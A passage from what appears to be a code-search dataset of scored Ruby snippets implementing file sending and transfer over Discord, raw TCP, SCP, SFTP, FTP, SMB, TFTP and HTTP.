"text": "def send_file(channel, file, caption: nil, tts: false, filename: nil, spoiler: nil)\n if file.respond_to?(:read)\n if spoiler\n filename ||= File.basename(file.path)\n filename = \"SPOILER_#{filename}\" unless filename.start_with? 'SPOILER_'\n end\n # https://github.com/rest-client/rest-client/blob/v2.0.2/lib/restclient/payload.rb#L160\n file.define_singleton_method(:original_filename) { filename } if filename\n file.define_singleton_method(:path) { filename } if filename\n end\n\n channel = channel.resolve_id\n response = API::Channel.upload_file(token, channel, file, caption: caption, tts: tts)\n Message.new(JSON.parse(response), self)\n end",
"title": ""
},
{
"docid": "0d99d3e789210cc5a2cb907e05ef871b",
"score": "0.5336408",
"text": "def serve(zipped)\n server = TCPServer.new(1174)\n puts \"Server is up on port 1174\\n\\n\"\n while true\n Signal.trap(\"INT\") {\n puts \"\\nCaught interupt signal, server quit\"\n exit\n }\n Thread.new(server.accept) do |client|\n print \"Sending file to #{client.peeraddr[2]} \"\n loading() {\n client.write zipped\n }\n puts \"\\nSuccessfully sent!\\n\\n\"\n client.close\n end\n end\n end",
"title": ""
},
{
"docid": "c5d5ae40b46603b9b32bbc5f7cd19a1b",
"score": "0.53262955",
"text": "def send_packet()\n puts \"INFO: start to connecting to server\"\n begin \n @sock = TCPSocket.open(@@ip, @@port)\n rescue Exception => e\n\n puts \"ERROR: connection to server failed\"\n puts e.message\n puts e.backtrace.inspect\n return\n end\n \n puts \"Info: connection established \"\n begin\n xmlfile = File.new(\"#{@requestfile}\") \n if xmlfile\n puts \"open file : \" + \"#{@requestfile}\" + \" sucessfullly\"\n end\n rescue Exception => e\n puts \"ERROR: not existing request file: \" + \"#{@requestfile}\";\n puts e.message\n puts e.backtrace.inspect\n return\n end\n \n packet = \"\"\n while line = xmlfile.gets\n packet = packet + line.chomp \n end\n\n packet = packet + \"\\r\\n\"\n puts \"#{packet}\"\n\n @sock.write(packet)\n puts \"INFO: sending packet done\"\n end",
"title": ""
},
{
"docid": "8e29d9f196a8ab5204fa2bd557b7cfff",
"score": "0.52332187",
"text": "def send_file_data filename\n\t\tEventMachine::send_file_data @signature, filename\n\tend",
"title": ""
},
{
"docid": "af08d5b72254e2337ae26505bbebff7c",
"score": "0.52079207",
"text": "def upload_thread\n Thread.new do\n file = nil\n until @upload_list.empty? && @download_finished\n sleep 0.1\n @upload_mutex.synchronize do\n file = @upload_list.pop\n end\n next if file.nil?\n @destination_container.files.create(file)\n end\n end\n end",
"title": ""
},
{
"docid": "95d594942091b11bdde8577a82b31aa1",
"score": "0.5203833",
"text": "def send_file(file_path, receiver_uuid, file_uuid)\n Pantry.logger.debug(\"[FileService] Sending file #{file_path} to #{receiver_uuid}\")\n @sender.send_file(file_path, receiver_uuid, file_uuid)\n end",
"title": ""
},
{
"docid": "a06df93a0a2805a0523bdfe52b97e251",
"score": "0.51491",
"text": "def smb_upload(lfile, rdir)\n file = Tempfile.new('ruby_smbclient')\n if @hashpass\n success = system(\"#{@smbclient} \\\\\\\\\\\\\\\\#{@host}\\\\\\\\#{@share} -p #{@port} -U #{@user} --pw-nt-hash #{@pass} -c 'put #{lfile}' -D #{rdir} > #{file.path} 2>&1\")\n else\n success = system(\"#{@smbclient} \\\\\\\\\\\\\\\\#{@host}\\\\\\\\#{@share} -p #{@port} -U #{@user} #{@pass} -c 'put #{lfile}' -D #{rdir} > #{file.path} 2>&1\")\n end\n output=File.open(file.path).readlines\n file.unlink\n if success\n return true\n else\n puts \"Problem Uploading #{lfile}!\"\n c=0\n output.each do |l|\n puts \"\\t=> #{l}\" unless c.to_i == 0 or l == ''\n c+=1\n end\n return false\n end\n end",
"title": ""
},
{
"docid": "85e5d0cb91dd00c8bddbf13ba9003cb7",
"score": "0.5148162",
"text": "def runFileServer\n @@servlet = FileServlet.new(@@self_port)\n \n Thread.start {\n @@servlet.start() \n }\n \nend",
"title": ""
},
{
"docid": "9ec5d662f313a25fad1266509a7d4ecf",
"score": "0.5144358",
"text": "def transfer_file(login, password, file)\n\thost = 'stdlinux.cse.ohio-state.edu'\n\n\tNet::SCP.start(host, login, :password => password) do |scp|\n\t\tputs 'File Transfer Started'\n\t\tscp.upload(file, '.')\n\tend\n\n\tputs 'File Transfer Ended'\nend",
"title": ""
},
{
"docid": "2082ffc50b89acc0a002a8f6ef50e706",
"score": "0.51366365",
"text": "def command_get filename\n # construct absolute path\n filename = Server.absolute_path(@directory.path, filename)\n puts filename\n\n # Respond with \"OK #{filesize}\"\n # Start sending file over data connection\n if File.exists? filename and not File.directory? filename\n f = File.new(filename)\n\t\tf.seek 0, IO::SEEK_END\n\t\tf_size = f.tell\n\t\tf.seek 0, IO::SEEK_SET\n @client.puts \"OK #{f_size}\"\n @data_connection.transfer f\n else\n @client.puts \"FAILURE: File Not Found\"\n end\n end",
"title": ""
},
{
"docid": "b10b488017c99c3e11829821af10f056",
"score": "0.5126183",
"text": "def process!\n logger.debug \"uploading #{@filename}\"\n\n loop do\n @sftps.each { |sftp| sftp.channel.connection.process(true) }\n break if @completed == @servers.length\n end\n\n logger.trace \"upload finished\"\n\n if @failed > 0\n raise \"upload of #{@filename} failed on one or more hosts\"\n end\n\n self\n end",
"title": ""
},
{
"docid": "fa47f2062a17eb7c556457f856870def",
"score": "0.51256967",
"text": "def file_send(file_local, file_target, compressed=false)\n\t\traise \"Target machine is not accessible\" if (!@config[\"ssh\"] or !@ip)\n\t\traise \"Local file (#{source}) is not accessible\" if (!(file_local[-1].eql? \"/\") && !(file_local[-2,2].eql? \"/*\") && !File.exist?(File.expand_path(file_local)))\n\n\t\t# Prepare\n\t\tfile_local = File.expand_path(file_local.gsub(/\\/\\*$/, ''))\n\t\tfile_target = file_target.gsub(/\\/$/, '')\n\n\t\t# Send\n\t\tif (compressed && !(['.tar.gz','.gz','.zip'].include? File.extname(file_local)))\n\t\t\t# Compress, send, uncompress\n\t\t\tcase compressed\n\t\t\t\twhen \"tar\"\n\t\t\t\t\t# TAR\n\t\t\t\t\t_tarname = Time.now.to_i\n\t\t\t\t\tputs \"[INFO] Sending #{file_local} using TAR archive\" if $debug\n\t\t\t\t\t`rm -f /tmp/captain/transfers/#{_tarname}.tar.gz && cd $(dirname \"#{file_local}\") && tar -czf /tmp/captain/transfers/#{_tarname}.tar.gz $(basename \"#{file_local}\") && scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" /tmp/captain/transfers/#{_tarname}.tar.gz #{@config[\"ssh\"][\"username\"]}@#{@ip}:/tmp/captain/transfers/#{_tarname}.tar.gz 2>/dev/null && rm -f /tmp/captain/transfers/#{_tarname}.tar.gz`\n\t\t\t\t\t_scp = command_send(\"tar -xzf /tmp/captain/transfers/#{_tarname}.tar.gz -C $(dirname '#{file_target}') && mv \\\"$(dirname '#{file_target}')/$(basename '#{file_local}')\\\" \\\"#{file_target}\\\" && rm -f /tmp/captain/transfers/#{_tarname}.tar.gz\")\n\t\t\t\twhen \"zip\"\n\t\t\t\t\t# ZIP\n\t\t\t\t\t_zipname = Time.now.to_i\n\t\t\t\t\tputs \"[INFO] Sending #{file_local} using ZIP archive\" if $debug\n\t\t\t\t\t`rm -f /tmp/captain/transfers/#{_zipname}.zip && cd $(dirname \"#{file_local}\") && zip -rq /tmp/captain/transfers/#{_zipname}.zip $(basename \"#{file_local}\") && scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" /tmp/captain/transfers/#{_zipname}.zip #{@config[\"ssh\"][\"username\"]}@#{@ip}:/tmp/captain/transfers/#{_zipname}.zip 2>/dev/null && rm -f /tmp/captain/transfers/#{_zipname}.zip`\n\t\t\t\t\t_scp = command_send(\"unzip /tmp/captain/transfers/#{_zipname}.zip -d $(dirname '#{file_target}') && mv \\\"$(dirname '#{file_target}')/$(basename '#{file_local}')\\\" \\\"#{file_target}\\\" && rm -f /tmp/captain/transfers/#{_zipname}.zip\")\n\t\t\t\telse\n\t\t\t\t\traise \"Unsupported archiving type \"+compressed\n\t\t\tend\n\t\telse\n\t\t\t# Send uncompressed\n\t\t\tputs \"[INFO] Sending #{file_local}\" if $debug\n\t\t\t_scp = `scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" \"#{file_local}\" #{@config[\"ssh\"][\"username\"]}@#{@ip}:\"#{file_target}\" 2>/dev/null`\n\t\tend\n\t\treturn _scp\n\tend",
"title": ""
},
{
"docid": "534060af4da56f508ae26c95b01f213f",
"score": "0.51234555",
"text": "def send_file(message, file)\n response = self.class.post(@api.send_file_config[:url],\n :query => { :auth_token => @token },\n :body => file_body({ :message => message }.send(@api.send_config[:body_format]), file),\n :headers => file_body_headers(@api.headers)\n )\n\n ErrorHandler.response_code_to_exception_for :user, user_id, response\n true\n end",
"title": ""
},
{
"docid": "fcea9b0c31fc7b1b8ad844706d707497",
"score": "0.51019156",
"text": "def send_file_to_server(file)\n opener = FileManager.new(file)\n flag, content = opener.open_file\n if flag\n answer = execute_rpc_call(content)\n return parse_answer(answer, file)\n else\n return \"Can't open file #{file}\"\n end\n end",
"title": ""
},
{
"docid": "8b85ee4d953e758b92be329bd1cfe5b4",
"score": "0.5060931",
"text": "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join('/', remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n File.open(src, 'r') do |file|\n @uploader = ChunkedUploader.new(client, file)\n with_retries do\n @uploader.upload(1024**2 * chunk_size)\n end\n end\n\n with_retries do\n @uploader.finish(dest)\n end\n end\n rescue => err\n raise Error.wrap(err, \"Upload Failed!\")\n end",
"title": ""
},
{
"docid": "73361eba325c198603a19a45fbdfd96b",
"score": "0.50548625",
"text": "def query_filetransfer_transfer_block(sock_num, size)\n query = \"QUERY_FILETRANSFER #{sock_num}#{FIELD_SEPARATOR}REQUEST_BLOCK#{FIELD_SEPARATOR}#{size}\"\n send(query)\n end",
"title": ""
},
{
"docid": "977b1e9838ecef4490026bf6f99e08d6",
"score": "0.50509804",
"text": "def run\n loop do\n schedule(@fileserver.accept) do |client|\n loop do\n request = client.gets.chomp\n if request[0..4] == \"OPEN:\"\n open_request(request, client)\n elsif request[0..5] == \"CLOSE:\"\n close_request(request[6..request.length-1].to_s, client)\n elsif request[0..4] == \"READ:\"\n read_request(request, client)\n elsif request[0..5] == \"WRITE:\"\n write_request(request, client)\n\t elsif request[0..4] ==\"TIME:\"\n\t time_request(request, client)\n end\n end\n end\n end\n @fileserver.close\n at_exit { @pool.shutdown }\n end",
"title": ""
},
{
"docid": "9124705d79eb0ea1ea02a712b7496d97",
"score": "0.5035775",
"text": "def send(data, flags = 0)\r\n SocketError.check if (ret = Winsock.send(@fd, data, data.size, flags)) == -1\r\n ret\r\n end",
"title": ""
},
{
"docid": "f747686364ebace82705c8bf68d113dc",
"score": "0.50207794",
"text": "def upload!(thread_count = 5)\n file_number = 0\n mutex = Mutex.new\n threads = []\n\n thread_count.times do |i|\n threads[i] = Thread.new {\n until files.empty?\n mutex.synchronize do\n file_number += 1\n Thread.current[\"file_number\"] = file_number\n end\n file = files.pop rescue nil\n next unless file\n\n # I had some more manipulation here figuring out the git sha\n # For the sake of the example, we'll leave it simple\n #\n path = file\n\n puts \"[#{Thread.current[\"file_number\"]}/#{total_files}] uploading...\"\n\n data = File.open(file)\n\n next if File.directory?(data)\n \n # chop 'public' from key:\n path.slice!('public/')\n obj = s3_bucket.objects[path]\n \n obj.write(data, { acl: :public_read })\n end\n }\n end\n threads.each { |t| t.join }\n end",
"title": ""
},
{
"docid": "4b76aeff32e120c674348395f60527c7",
"score": "0.50205326",
"text": "def send_file(path, status=200, message='OK')\n header = [\n \"HTTP/1.1 #{status} #{message}\",\n \"Content-Type: #{content_type(path)}\",\n \"Content-Length: #{File.size(path)}\",\n \"Last-Modified: #{mtime(path)}\"\n ].join(\"\\r\\n\")\n @stream.stream_write(\"#{header}\\r\\n\\r\\n\")\n\n File.open(path) do |file|\n while (buf = file.read(BUF_SIZE)) != nil\n @stream.stream_write(buf)\n end\n end\n end",
"title": ""
},
{
"docid": "2755b77f7baf824065268824de090c71",
"score": "0.49755624",
"text": "def start_download\n @state = :dat\n # Only check if there are any slashes in the filename.\n if @filename =~ %r{^/}\n senderror(main_sock,\n TftpErrorType.illegalTftpOp,\n rhost,\n rport)\n raise TftpError, \"Absolute paths in filenames not permitted\"\n elsif @filename =~ %r{../}\n senderror(main_sock,\n TftpErrorType.illegalTftpOp,\n rhost,\n rport)\n raise TftpError, \".. not permitted in filenames\"\n elsif @filename =~ %r{/}\n # Make sure it's in our root.\n @filename = File.expand_path(@filename)\n unless @filename =~ /^@root/\n # It's not in our root. Send an error.\n senderror(main_sock,\n TftpErrorType.illegalTftpOp,\n rhost,\n rport)\n raise TftpError, \"File request for #{@filename} outside of root\"\n end\n end\n\n # If it's ok, open the file and send the first DAT.\n path = @root + '/' + @filename\n if File.exists?(path)\n debug \"Opening file #{path} for reading\"\n @file = File.new(path, \"rb\")\n debug \"File open: #{@file.inspect}\"\n send_dat()\n else\n senderror(sock,\n TftpErrorType.fileNotFound,\n @host,\n @port)\n raise TftpError, \"File does not exist\"\n end\n end",
"title": ""
},
{
"docid": "165123bdca60b9b66a469f3f30a0298c",
"score": "0.49601826",
"text": "def upload(file,conf)\nftp_server = conf[:server]\nuser = conf[:user]\npass = conf[:pass]\nfport = conf[:port]\ncon_timeout = 30\ntransfer_timeout = 600\n\nftp = nil\nbegin\n Timeout.timeout( con_timeout ) do\n ftp = Net::FTP.new( )\n ftp.connect(ftp_server, port=fport)\n ftp.login( user, pass )\n end\n\tputs \"\\n\"+aktTime()+\" uploading file: \"+file\n STDOUT.flush #write out immediately\n Timeout.timeout( transfer_timeout ) do\n\t ftp.chdir(conf[:ftpDir]) if conf[:ftpDir]\n ftp.putbinaryfile( file )\n puts aktTime()+\" upload finished\"\n ftpCleanUp(conf,ftp) if conf[:generations]\n end\n\nrescue\n STDERR.puts \"Error ftp-transfer server: #{ftp_server}\"\n raise\nensure\n ftp.close if ftp\n GC.start\n sleep 3\nend\n\nend",
"title": ""
},
{
"docid": "572a8c5a84abef5cf8917e40811fc1be",
"score": "0.49546814",
"text": "def send_files(type, server)\n raise \"No server given\" if !server\n FileUtils.mkdir_p \"./uploads/#{type}\"\n system \"rsync --progress -rue 'ssh -p #{ssh_port(server)}' uploads/#{type} #{server.user}@#{server.hostname}:#{shared_path}/uploads/\"\n end",
"title": ""
},
{
"docid": "a18a1735ef8a0eb46ce532a0aaa69169",
"score": "0.49525008",
"text": "def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n create_local_directories!\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end",
"title": ""
},
{
"docid": "8f55717a54436b642f731b86d73f3304",
"score": "0.49249855",
"text": "def receive_data requestIncoming\r\n # ltodo time these conns out, esp. if I receive nothing\r\n close_connection && return if @blockManager.already_finalized\r\n file, host, port, startByte, endByte, type, fullUrl = TCPSocketConnectionAware.parseHTTPRequest(requestIncoming) # assume it's a request\r\n if !file\r\n debug \"Unable to parse request [#{requestIncoming}] -- giving up. Thread count #{@parent_server_wrapper.aliveServerObjects.length}\"\r\n close_connection # I must presume this terminates us :)\r\n end\r\n \r\n if file != @blockManager.urlFileName\r\n fullUrl = \"http://#{host}:#{port}#{file}\" # ltodo look into this--is this necessary?\r\n if @parent_server_wrapper.serveAnyRequest and file and host and port\r\n error \"within the fake server got request for url #{fullUrl} (not current/starting #{@blockManager.urlFileName}) continuing==possibly in error!\" # ltodo\r\n else\r\n error \"got request for generically WRONG FILE (or bad HTTP request)-- kicking out early their requested file #{file}, is not #{@blockManager.urlFileName} request #{requestIncoming} TURFING\"\r\n close_connection\r\n return\r\n end\r\n end \r\n \r\n if !startByte \r\n assert !endByte\r\n startByte = 0\r\n debug \"guessing full file start #{startByte} end #{endByte} request for whole file\"\r\n end\r\n endByte ||= @blockManager.wholeFileSize - 1\r\n assert startByte <= endByte\r\n log \"got #{type} request for file #{file} port #{port} startByte #{startByte} endByte #{endByte}\"\r\n header = TCPSocketConnectionAware.createReturnHeader(startByte, endByte, getWholeFileSize())\r\n assert header.length > 0\r\n send_data header\r\n debug \"wrote reply header length #{header.length} for type #{type}\"\r\n if type == \"HEAD\" # then we're done\r\n @received_head_request = true\r\n debug \"wrote head of file size #{getWholeFileSize()}! -- closing!\"\r\n close_connection_after_writing\r\n return\r\n end\r\n @received_data_request = true\r\n how_often_check_queue_in_seconds = 0.15#S\r\n chunkSize = 4_000_000*how_often_check_queue_in_seconds # 4 MB/S max empirically this is only like 1.5MB/s serving speed\r\n if @speedLimitPerConnectionBytesPerSecond\r\n how_often_check_queue_in_seconds = 1\r\n chunkSize = [@speedLimitPerConnectionBytesPerSecond, chunkSize].min\r\n end\r\n debug \"using chunkSize #{chunkSize} every #{how_often_check_queue_in_seconds}s\"\r\n nextByteToSendWithinRequest = startByte\r\n @dropped_me = false\r\n send_proc = proc { ||\r\n if @dropped_me\r\n return # never send again :)\r\n end \r\n if @parent_server_wrapper.serverShouldStop\r\n debug \"not sending any more-- parent said we should stop!\" # ltodo cancel these, too, so we don't get weird late logging messages\r\n return\r\n end\r\n assert nextByteToSendWithinRequest <= (endByte + 1)\r\n return if nextByteToSendWithinRequest == endByte + 1\r\n outbound_queue = get_outbound_data_size\r\n debug \"outbound size is #{outbound_queue}\" # ltodo make this have its own call\r\n if outbound_queue > chunkSize/2\r\n debug \"not sending anymore for now\"\r\n return\r\n else\r\n debug \"sending more\"\r\n end\r\n start_send_time = Time.now\r\n lastByteWithinChunk = [endByte, nextByteToSendWithinRequest + chunkSize - 1].min\r\n \r\n nextToWrite = @blockManager.getBytesToReturnToPeerIncludingEndByte(nextByteToSendWithinRequest, lastByteWithinChunk) # hmmm. So the case is that if we don't have any bytes yet downloaded, we'll return as few as we now have, which means ever x sec's, we'll check again to see if there is more to write. ltodo optimize with the 'blank' endings\r\n send_data(nextToWrite)\r\n log \"just successfully queued #{nextToWrite.length}B #{nextByteToSendWithinRequest } -> #{nextByteToSendWithinRequest + nextToWrite.length} out of #{endByte} in #{Time.now - start_send_time}s\"\r\n nextByteToSendWithinRequest += nextToWrite.length\r\n if nextByteToSendWithinRequest == endByte + 1\r\n debug \"done queueing all -- instructing it to close after writing\"\r\n @sender_proc_wrapper.cancel\r\n @queued_all = true\r\n close_connection_after_writing\r\n end\r\n }\r\n #queued_proc = create_proc_that_runs_only_when_outbound_queue_gets_below(5, send_proc) # run when it falls below X\r\n @sender_proc_wrapper = EventMachine::PeriodicTimer.new(how_often_check_queue_in_seconds, send_proc)\r\n send_proc.call # call it once early and fast!\r\n end",
"title": ""
},
{
"docid": "3209d7cea289f35c29b699bf2e2dafbe",
"score": "0.49162102",
"text": "def send_file(file, caption = nil, filename: nil, spoiler: nil)\n pm.send_file(file, caption: caption, filename: filename, spoiler: spoiler)\n end",
"title": ""
},
{
"docid": "34febf9d31417e823320be24c1de4f0c",
"score": "0.48947608",
"text": "def send_file(file, caption: nil, tts: false, filename: nil, spoiler: nil)\n @bot.send_file(@id, file, caption: caption, tts: tts, filename: filename, spoiler: spoiler)\n end",
"title": ""
},
{
"docid": "ee505e86d788d427c43614a21be59447",
"score": "0.4894678",
"text": "def send_file(url, name, file_info = {})\n client.api.send_content(id, url, name, 'm.file', extra_information: file_info)\n end",
"title": ""
},
{
"docid": "0042a2eb8d746433c9161b1ea1ea5412",
"score": "0.48848867",
"text": "def receive_file(size, checksum)\n Pantry.logger.debug(\"[FileService] Receiving file of size #{size} and checksum #{checksum}\")\n @receiver.receive_file(size, checksum).tap do |info|\n info.receiver_uuid = @socket.identity\n end\n end",
"title": ""
},
{
"docid": "29c8753c649e7979741baf968b54533b",
"score": "0.48787117",
"text": "def transfer(transmission_id, percentage_of_total)\n Rails.logger.debug(\"TRANSFER: Starting transfer of file #{self.upstream_location.split('/').last}\")\n transmission = Transmission.find(transmission_id)\n begin\n sftp = Net::SFTP.start(transmission.sftp_host, transmission.sftp_username, :password => transmission.sftp_password)\n sftp.download!(self.upstream_location, self.local_location, :recursive => false) do |event, downloader, *args|\n case event\n # when :open\n # when :get\n # size_written = args[2].length\n # percent = size_written / self.size\n # self.update_attributes(:percent_complete => percent)\n #when :close\n when :finish\n Rails.logger.debug(\"TRANSFER: Completed transfer of file #{self.upstream_location.split('/').last}\")\n self.update_attributes(:percent_complete => 100)\n end\n end\n rescue => e\n Rails.logger.error(\"TRANSFER: FAILURE: Datafile ##{self.id} failed with #{e.message}\")\n Rails.logger.error(\"TRANSFER: #{e.backtrace}\")\n self.update_attributes(:failed => true)\n return false\n end\n\n download = Download.find(self.download_id)\n download.update_attributes(:percent_complete => (download.percent_complete + percentage_of_total)) \n Rails.logger.debug(\"TRANSFER: Completed transfer of file #{self.upstream_location.split('/').last}\")\n end",
"title": ""
},
{
"docid": "a6b4e6c37cb159c8a0a8c84912f7aed0",
"score": "0.4869845",
"text": "def send_data(data, options = {}) #:doc:\n logger.info \"Sending data #{options[:filename]}\" if logger\n send_file_headers! options.merge(:length => data.size)\n @performed_render = false\n render :status => options[:status], :text => data\n end",
"title": ""
},
{
"docid": "baf8a3ffe3fb896f867c4fd0b0465904",
"score": "0.48683256",
"text": "def send_file(channel_id, file, caption: nil, tts: false)\n response = API.send_file(token, channel_id, file, caption: caption, tts: tts)\n Message.new(JSON.parse(response), self)\n end",
"title": ""
},
{
"docid": "a4a29d8803375eddcfab789e81d9ac92",
"score": "0.4859646",
"text": "def send_file request, response, filename, status_code = 200, headers = {}\n\t\t\t\tif Plezi.file_exists?(filename) && !::File.directory?(filename)\n\t\t\t\t\tdata = if Plezi::Cache::CACHABLE.include?(::File.extname(filename)[1..-1])\n\t\t\t\t\t\tPlezi.load_file(filename)\n\t\t\t\t\telse\n\t\t\t\t\t\t::File.new filename, 'rb'\n\t\t\t\t\tend\n\t\t\t\t\treturn send_raw_data request, response, data , MimeTypeHelper::MIME_DICTIONARY[::File.extname(filename)], status_code, headers\n\t\t\t\tend\n\t\t\t\treturn false\n\t\t\tend",
"title": ""
},
{
"docid": "bce4e3a3ab9b42fe9f9bf4f6de5c9e13",
"score": "0.48593065",
"text": "def send_data(data, options = {}) #:doc:\n send_file_headers! options.merge(:length => data.size)\n throw :halt, [options[:status] || 200, [data]]\n end",
"title": ""
},
{
"docid": "1949364623b577f96606256635be9d84",
"score": "0.4856457",
"text": "def send_blobs(ssh,srcpath,despath)\n if File.exist?srcpath\n #puts srcpath.split('/').inspect+\" srcfile\"\n #puts srcpath.split('/')[-1] + \" src file\"\n #puts ssh.exec!(\"ls\").inspect\n if ssh.exec!(\"ls\").inspect.include? srcpath.split('/')[-1]\n\n#return\n end\n ssh.scp.upload!( srcpath , despath , :recursive => true )do|ch, name, sent, total|\n percent = (sent.to_f*100 / total.to_f).to_i\n print \"\\r#{@host}: #{name}: #{percent}%\"\n end\n print \"\\n\"\n puts \"#{srcpath} upload Done.\"\n else\n abort(\"ERROR: Don't have such File: #{srcpath}\")\n end\n end",
"title": ""
},
{
"docid": "16f08de64c4f17aa123d09d293c5d193",
"score": "0.48409483",
"text": "def add_file(file_id, user, ip, source, port)\n times_to_retry = @storage_config.times_to_retry\n while (times_to_retry > 0)\n begin\n destination = File.join(@storage_config.files_storage_root_full_path, Utils.fileid2name(file_id))\n cmd_line = \"scp -P #{port} #{user}@#{ip}:#{source} #{destination}\"\n \n @logger.info(\"DSS: Saving file :#{cmd_line}\")\n if ( system(cmd_line) == false )\n message = \"DSS: Transaction faild with error #{$?}\"\n raise message\n else\n @logger.info(\"DSS: Save Successful\")\n return true;\n end \n rescue \n times_to_retry -= 1\n if (times_to_retry > 0)\n sleep(@storage_config.sleep_on_retry)\n else\n message = \"DSS: Unable to save file #{source} to #{destination}, error: #{$!.message}\"\n @logger.error(message)\n raise message\n end \n end \n end \n end",
"title": ""
},
{
"docid": "2b2124f39ad2162ffeec403ffa70123e",
"score": "0.48383933",
"text": "def recv_file(size,scene=false,file=\"\")\r\n data = []\r\n size.times do |i|\r\n if scene == true\r\n $scene.recv_update(size,i,file) if i%((size/1000)+1)== 0\r\n else\r\n Graphics.update if i%1024 == 0\r\n end\r\n data << recv(1)\r\n end\r\n return data\r\n end",
"title": ""
},
{
"docid": "4fa12ff3fc4afe29488ab7adc931764b",
"score": "0.48323667",
"text": "def send_pending_data\n needs_looping = true\n while needs_looping\n needs_looping = false\n pending_data.delete_if do |socket, chunks|\n if chunks.empty?\n # nothing left to send for this socket\n next\n end\n\n buffer = chunks.shift\n while !chunks.empty? && (buffer.size + chunks[0].size < DATA_CHUNK_SIZE)\n buffer.concat(chunks.shift)\n end\n Server.debug \"sending #{buffer.size} bytes to #{socket}\"\n\n begin\n written = socket.write_nonblock(buffer)\n rescue Interrupt\n raise\n rescue Errno::EAGAIN\n Server.debug \"cannot send: send buffer full\"\n chunks.unshift(buffer)\n next\n rescue Exception => e\n Server.warn \"disconnecting from #{socket}: #{e.message}\"\n e.backtrace.each do |line|\n Server.warn \" #{line}\"\n end\n socket.close\n next(true)\n end\n\n remaining = buffer.size - written\n if remaining == 0\n Server.debug \"wrote complete chunk of #{written} bytes to #{socket}\"\n # Loop if we wrote the complete chunk and there\n # is still stuff to write for this socket\n needs_looping = !chunks.empty?\n else\n Server.debug \"wrote partial chunk #{written} bytes instead of #{buffer.size} bytes to #{socket}\"\n chunks.unshift(buffer[written, remaining])\n end\n false\n end\n end\n end",
"title": ""
},
{
"docid": "7092a5d58d2eb023815e969bb5965b90",
"score": "0.48178583",
"text": "def transfer!\n connection do |ftp|\n directories.each do |dir|\n create_remote_path(File.join(remote_path, dir), ftp)\n end\n\n files_to_transfer.each do |file|\n ok_message \"Uploading #{file}\", \" - \"\n ftp.put(\n File.join(local_path, file),\n File.join(remote_path, file)\n )\n end\n end\n end",
"title": ""
},
{
"docid": "ad6596953ba912c0457b8f3cc24c5840",
"score": "0.481251",
"text": "def send_file(path, options = {}) #:doc:\n raise MissingFile, \"Cannot read file #{path}\" unless File.file?(path) and File.readable?(path)\n\n options[:length] ||= File.size(path)\n options[:filename] ||= File.basename(path) unless options[:url_based_filename]\n send_file_headers! options\n\n @performed_render = false\n\n if options[:x_sendfile]\n logger.info \"Sending #{X_SENDFILE_HEADER} header #{path}\" if logger\n head options[:status], X_SENDFILE_HEADER => path\n else\n if options[:stream]\n render :status => options[:status], :text => Proc.new { |response, output|\n logger.info \"Streaming file #{path}\" unless logger.nil?\n len = options[:buffer_size] || 4096\n File.open(path, 'rb') do |file|\n while buf = file.read(len)\n output.write(buf)\n end\n end\n }\n else\n logger.info \"Sending file #{path}\" unless logger.nil?\n File.open(path, 'rb') { |file| render :status => options[:status], :text => file.read }\n end\n end\n end",
"title": ""
},
{
"docid": "e2a28e676b38cc9096a1343ea15bcc66",
"score": "0.48124596",
"text": "def get_file(client, current_path, input, client_port)\n\n\tif(!File.exist?(\"#{current_path}/files/#{input}\"))\n\t\tclient.puts \"\\nFile not available\"\n\telse\n\t\tclient.puts \"sending\"\n\n\t\tclient_serv = TCPSocket.new(\"#{client.peeraddr[3]}\", client_port)\n\t\tclient_serv.puts \"#{input}\"\n\n\t\tfile_boolean = client_serv.gets.chomp\n\t\tif(file_boolean == \"false\")\n\n\t\telse\n\t\t\tfile_sending = File.open(\"#{current_path}/files/#{input}\", \"rb\")\n\n\t\t\tfilecontent = file_sending.read\n\t\t\tclient_serv.puts(filecontent)\t \t\t\t\t\n\t\t\tclient_serv.close\n\t\t\tfile_sending.close\n\n\t\t\tputs \"File #{input} Sent\"\n\t\tend\n\tend\t\t\t\t\t\nend",
"title": ""
},
{
"docid": "448ad5246bfa4f73578499aa3b310456",
"score": "0.4798441",
"text": "def send_file(token, channel_id, file, caption: nil, tts: false)\n request(\n __method__,\n :post,\n \"#{api_base}/channels/#{channel_id}/messages\",\n { file: file, content: caption, tts: tts },\n Authorization: token\n )\n end",
"title": ""
},
{
"docid": "734d4d3c3148f84beb473274a835859d",
"score": "0.47822678",
"text": "def send_file(path, options = {}) #:doc:\n raise MissingFile, \"Cannot read file #{path}\" unless File.file?(path) and File.readable?(path)\n\n options[:length] ||= File.size(path)\n options[:filename] ||= File.basename(path)\n options[:type] ||= Rack::File::MIME_TYPES[File.extname(options[:filename])[1..-1]] || 'text/plain'\n options[:last_modified] ||= File.mtime(path).httpdate\n options[:stream] = true unless options.key?(:stream)\n options[:buffer_size] ||= DEFAULT_SEND_FILE_OPTIONS[:buffer_size]\n send_file_headers! options\n\n if options[:stream]\n throw :halt, [options[:status] || 200, FileStreamer.new(path, options)]\n else\n File.open(path, 'rb') { |file| throw :halt, [options[:status] || 200, [file.read]] }\n end\n end",
"title": ""
},
{
"docid": "c711a64f9d855c5c9604af3005e532b7",
"score": "0.47662297",
"text": "def work_check(mfile, conn)\n # Do we have any work?\n if File::exist?(mfile)\n # Process work\n puts \"#{self} Found workfile .......\"\n open(mfile).each do |line|\n puts \"#{self} #{line}\"\n conn.send_data(line)\n end\n File::delete(mfile)\n else\n # Nothing to see here, move along.\n puts \"#{self} waiting for work\"\n end\nend",
"title": ""
},
{
"docid": "e0e36bd9a3d37d7adfbe3d48c8d318f1",
"score": "0.4761414",
